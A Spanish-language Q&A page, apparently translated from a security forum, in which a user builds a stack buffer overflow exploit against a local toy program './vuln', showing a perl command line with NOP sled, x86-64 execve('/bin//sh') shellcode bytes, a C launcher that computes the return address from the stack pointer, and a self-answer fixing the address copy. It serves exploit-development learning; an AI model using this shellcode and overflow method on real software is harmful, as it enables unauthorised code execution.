Configurar una dirección de retorno en un exploit C simple

0

Tengo un programa vulnerable que se puede explotar a través de cmdline:

./vuln $(perl -e 'print "\x90"x22'; cat shell; perl -e 'print "\x90"x22';perl -e 'print "\xf4\xdd\xff\xff\xff\x7f"')
����������������������H1��;H1�QH�/bin//shWH��@0����������������������������
$

Ahora quiero usar un programa en C para poder forzar la dirección de retorno, pero Tengo un problema al tratar de llenar el búfer inyectado (atravesar un strcpy que es vulnerable para sobrescribir el rip)

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int offset;
char shell[28] = {"\x48\x31\xc0\xb0\x3b\x48\x31\xc9\x51\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x40\x30\xf6\x0f\x05"};

int main(int argc, char *argv[])
{   
    int i;
    char buffer[78];
    offset = atoi(argv[1]);
    unsigned long get_sp()
    {
        __asm__("mov %rsp, %rax");
    }

    unsigned long ret, rsp;
    rsp = get_sp();
    ret = rsp + offset;

    printf("%lx\n", ret);   
    for(i=0;i<78;i+=6)
        *(buffer+i) = ret; //HERE THE PROBLEM

    memset(buffer, '\x90', 22);
    strncpy(&buffer[22], shell, strlen(shell));

    execl("./vuln","vuln", buffer, NULL);
}

Aquí está la salida, ya que puede notar que la dirección está cortada. ¿Puedes decirme por qué?

./exploit 52
7fffffffddf4
����������������������H1��;H1�QH�/bin//shWH��@0�
    
pregunta Yvain 27.04.2017 - 16:37
fuente

1 respuesta

1

Cambió el código, Tuve que crear un puntero en la dirección de retorno y llenarlo con un bucle.

char *ptr = (char*)ret;

for(i=0;i<6;i++){
    *(buffer+72+i) = ptr[i];
}

En x64, debe encontrar el tamaño exacto que necesita para desbordar debido a la dirección del espacio del kernel que aumentará la excepción si sus puntos de extracción están por encima de 0x00007fffffffff. Consulte enlace

    
respondido por el Yvain 29.04.2017 - 10:44
fuente

Lea otras preguntas en las etiquetas